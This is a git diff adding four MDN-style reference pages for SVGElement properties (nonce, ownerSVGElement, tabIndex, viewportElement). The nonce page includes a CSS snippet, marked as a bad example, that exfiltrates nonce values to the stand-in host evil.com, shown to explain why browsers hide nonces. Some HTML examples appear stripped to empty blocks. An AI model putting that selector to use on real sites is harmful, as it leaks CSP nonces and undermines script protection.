diff --git a/files/en-us/web/api/svgelement/nonce/index.md b/files/en-us/web/api/svgelement/nonce/index.md new file mode 100644 index 000000000000000..40f7764caef4411 --- /dev/null +++ b/files/en-us/web/api/svgelement/nonce/index.md @@ -0,0 +1,54 @@ +--- +title: "SVGElement: nonce property" +short-title: nonce +slug: Web/API/SVGElement/nonce +page-type: web-api-instance-property +browser-compat: api.SVGElement.nonce +--- + +{{APIRef("SVG")}} + +The **`nonce`** property of the {{DOMxRef("SVGElement")}} interface returns the nonce that is used by [Content Security Policy](/en-US/docs/Web/HTTP/CSP) to determine whether a given fetch will be allowed to proceed. + +## Value + +A String; the cryptographic nonce, or an empty string if no nonce is set. + +## Examples + +### Retrieving a nonce value + +In the past, not all browsers supported the `nonce` IDL attribute, so a workaround is to try to use [`getAttribute`](/en-US/docs/Web/API/Element/getAttribute) as a fallback: + +```js +const svg = document.querySelector("svg"); +const nonce = svg.nonce || svg.getAttribute("nonce"); + +// Modern browsers hide the nonce attribute from getAttribute() +console.log(nonce); // Prefer using `svg.nonce` +``` + +However, recent browsers version hide `nonce` values that are accessed this way (an empty string will be returned). The IDL property (`svg['nonce']`) will be the only way to access nonces. + +Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector: + +```css example-bad +svg[nonce~="whatever"] { + background: url("https://evil.com/nonce?whatever"); +} +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("HTMLElement.nonce")}} a similar method for HTML elements. +- [`nonce` global attribute](/en-US/docs/Web/HTML/Global_attributes/nonce) +- [Content Security Policy](/en-US/docs/Web/HTTP/CSP) +- CSP: {{CSP("script-src")}} diff --git a/files/en-us/web/api/svgelement/ownersvgelement/index.md b/files/en-us/web/api/svgelement/ownersvgelement/index.md new file mode 100644 index 000000000000000..60ccb22953916ae --- /dev/null +++ b/files/en-us/web/api/svgelement/ownersvgelement/index.md @@ -0,0 +1,46 @@ +--- +title: "SVGElement: ownerSVGElement property" +short-title: ownerSVGElement +slug: Web/API/SVGElement/ownerSVGElement +page-type: web-api-instance-property +browser-compat: api.SVGElement.ownerSVGElement +--- + +{{APIRef("SVG")}} + +The **`ownerSVGElement`** property of the {{DOMxRef("SVGElement")}} interface reflects the nearest ancestor {{SVGElement("svg")}} element. `null` if the given element is the outermost `` element. + +## Value + +An {{DOMxRef("SVGSVGElement")}}. + +## Examples + +### Checking the owner `` element + +```html + + + + + +``` + +```js +const circle = document.getElementById("circle1"); +const ownerSVG = circle.ownerSVGElement; + +if (ownerSVG) { + console.log(`The circle's owner has the ID: ${ownerSVG.id}`); +} else { + console.log("This element is the outermost ."); +} +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} diff --git a/files/en-us/web/api/svgelement/tabindex/index.md b/files/en-us/web/api/svgelement/tabindex/index.md new file mode 100644 index 000000000000000..302e734bdad8539 --- /dev/null +++ b/files/en-us/web/api/svgelement/tabindex/index.md @@ -0,0 +1,70 @@ +--- +title: "SVGElement: tabIndex property" +short-title: tabIndex +slug: Web/API/SVGElement/tabIndex +page-type: web-api-instance-property +browser-compat: api.SVGElement.tabIndex +--- + +{{APIRef("SVG")}} + +The **`tabIndex`** property of the {{DOMxRef("SVGElement")}} interface represents the tab order of the current SVG element. + +Tab order is as follows: + +1. Elements with a positive `tabIndex`. Elements that have identical + `tabIndex` values should be navigated in the order they appear. Navigation + proceeds from the lowest `tabIndex` to the highest `tabIndex`. +2. Elements that do not support the `tabIndex` attribute or support it and + assign `tabIndex` to `0`, in the order they appear. + +Elements that are disabled do not participate in the tabbing order. + +Values don't need to be sequential, nor must they begin with any particular value. They +may even be negative, though each browser trims very large values. + +## Value + +An integer. + +## Examples + +### Setting the `tabIndex` property + +```html + + + + + + +``` + +```js +const svg1 = document.getElementById("svg1"); +const svg2 = document.getElementById("svg2"); + +// Access and modify the tabIndex +console.log(svg1.tabIndex); // 2 +svg2.tabIndex = 1; // Add svg2 to the tab order before svg1 + +// Programmatically focus on an element with negative tabIndex +svg1.tabIndex = -1; +svg1.focus(); // Works, even though it is not in the tabbing order +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("HTMLElement.tabIndex")}} a similar method for HTML elements. +- [Accessibility of keyboard-navigable JavaScript widgets](/en-US/docs/Web/Accessibility/Keyboard-navigable_JavaScript_widgets) +- The HTML + [`tabindex`](/en-US/docs/Web/HTML/Global_attributes/tabindex) + global attribute. diff --git a/files/en-us/web/api/svgelement/viewportelement/index.md b/files/en-us/web/api/svgelement/viewportelement/index.md new file mode 100644 index 000000000000000..67c40ebe3cf819c --- /dev/null +++ b/files/en-us/web/api/svgelement/viewportelement/index.md @@ -0,0 +1,49 @@ +--- +title: "SVGElement: viewportElement property" +short-title: viewportElement +slug: Web/API/SVGElement/viewportElement +page-type: web-api-instance-property +browser-compat: api.SVGElement.viewportElement +--- + +{{APIRef("SVG")}} + +The **`viewportElement`** property of the {{DOMxRef("SVGElement")}} interface represents the `SVGElement` which established the current viewport. Often the nearest ancestor {{SVGElement("svg")}} element. `null` if the given element is the outermost `` element. + +## Value + +An {{DOMxRef("SVGElement")}}. + +## Examples + +### Retrieving the `viewportElement` + +```html + + + + + +``` + +```js +const circle = document.getElementById("circle"); +const innerSvg = document.getElementById("innerSvg"); +const outerSvg = document.getElementById("outerSvg"); + +console.log(circle.viewportElement); // Output: ... +console.log(innerSvg.viewportElement); // Output: ... +console.log(outerSvg.viewportElement); // Output: null +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat}} + +## See also + +- {{domxref("SVGElement.ownerSVGElement")}}: Retrieves the nearest ancestor `` element for the current SVG element.